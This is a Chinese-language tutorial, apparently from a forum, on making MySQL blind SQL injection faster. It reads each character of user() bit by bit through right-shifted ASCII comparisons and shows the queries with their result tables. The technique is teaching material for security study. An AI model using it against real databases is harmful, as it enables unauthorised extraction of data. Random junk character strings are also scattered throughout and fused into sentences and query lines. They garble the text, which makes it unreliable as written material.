关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

# T* U# f+ ~$ {- }

2 A6 C7 V5 n/ a2 c* [% S$ w6 c7 p9 a; z3 I下面将以查询mysql数据库当中user()的第一位为例:


% I+ I4 c! E9 {5 `
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


! a* A" r+ L4 |
% B) E. l! _" d5 ~( S* i) o* d首先执行如下sql语句:


0 M3 I& f5 O! o- Q$ B
4 r4 ~% T! t; U% L% A( qmysql> select (ascii((substr(user(),1,1))) >> 7)=0;


5 \5 y4 [& p% i( D" Y$ P
; {9 x8 P  |! O1 Q: d( W3 M( h我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

2 Y# A" \2 w. b
- ?2 y) n- _2 ]$ S1 ?
/ A, ~6 k+ N; C2 t' q3 H第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! z  z. Z% E( f. L& G


如果运算结果为1,说明第一位为0,不为1
1 F+ e7 Q8 d2 W% W- T" a3 I8 ]


+————————————–+
2 {0 i, w1 w: l) m- [
| (ascii((substr(user(),1,1))) >> 7)=0 |

. v# d, C* p+ v; E4 ]0 O! h# H: k+————————————–+
2 c, X' h. w+ N$ M6 ]( o  j
: j3 w6 D8 `4 t( P- b| 1 |
7 z. N; ]* {+ L2 J, ]
+————————————–+
$ j! B5 W6 A7 c
1 row in set (0.00 sec)
4 k! {1 z3 L  @2 z0 ~, I
这样我们就确定这个8bit的ascii的第一位为0
4 F+ z8 l+ y, w* U/ W3 k% `
# L/ H3 p6 m3 E" ]3 O/ b
$ t3 r8 s5 B4 z  g+ G; F
3 V, W3 F6 \8 e. X! \第二次我们来做6次右偏移来确定前两位



前两位可能是01或00,即依然可以与0做比较,
% L8 Q  v8 c+ j0 f- Z* t$ c0 G
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+
4 |. t% C) B! s4 k' B
| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

% I" V9 b8 n! a, l) Y| 0 |

4 }. T( e* E$ f; p- Q+————————————–+
; v) n, m$ n/ z7 |( X
1 row in set (0.00 sec)

0 D6 g3 g: v/ F, v* D$ R

结果为0,即第二位为1
5 P: }# M( h2 V* o  o
( U* T6 a# ]& N- u/ M
3 y, I% Z1 R5 u$ T# b- V3 }
  L. X8 u$ w* b7 F* `开始猜测前三位为010或011
0 s1 p- y* Z/ g- p9 J
; o/ f, A- r) o( ]
; ~5 c6 u4 D0 U5 U
- \( [/ ^( ^6 [! f' r9 e让我们看看010和011的ascii码是多少
! x% l& A' c4 ]% }0 v


4 I3 R/ w$ l7 ~8 Y5 |; U( a分别查询select b’011′ select b’010′


, \5 q6 V1 P0 {* K  S
% E2 P7 ^9 R* ^4 V% p' Q) }获得结果 010 = 2 011 = 3


7 t/ l: j$ I4 w6 H# h+ P. A
执行如下sql:
/ f9 n; r6 n! e4 M
& x; |  m- F0 u7 ~# D. q

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |
6 e' j6 r$ q/ P/ X* r
+————————————–+

7 z6 T; s. R7 R% ?  T6 j| 0 |

8 @4 [( J' L; l5 I* X$ O; _! x+————————————–+
& o8 C2 Q1 m2 i+ Q7 R
, v: b  G. h3 t% s即前三位不为010,而是011

6 f) \2 M0 ~: k  j+ o2 q. J( j( x) S

直到获得最后一位
4 t( j( j4 t4 K3 w- m* J5 T$ s

/ ^+ m: O4 N5 G9 X% h  j" i
8 \$ S3 i  e$ g, M5 E1 I' x最终结果为:01110010
  x* E. k; Y2 }0 M6 G# K1 c
, I. m4 S+ X  h  X3 {+ L8 m

( m2 [+ Y: i& Y( O; {' R# D2 _转换一下:


3 a2 V4 J5 V/ J% J
select b’01110010′

( H. ?$ M& ^" W
- O9 h* C: J: X+ u6 ]( E; s
& G  L5 @( \, c4 a" l查询结果
' ]* F/ Y& t1 j- M6 J. q
# r4 o$ _# @' r. W$ j

, W9 s# _  ?7 t  l5 ^+————-+
# b# ?. s9 ?) D4 W5 N, B* ]
| b’01110010′ |

: n6 z6 T+ @5 h6 u2 P+————-+
- T6 d. T- d. i" W( \% r. ^. P% D+ z
| r |

+————-+
  K, X5 @1 A( M# @
1 row in set (0.00 sec)


1 k, }: v9 F, S$ J5 n, T" e
9 C+ e2 y5 T% }- l0 M9 q这样我们就获得了user()的第一位.其它位依此类推
0 f7 r! v( e+ I4 f& v) b0 c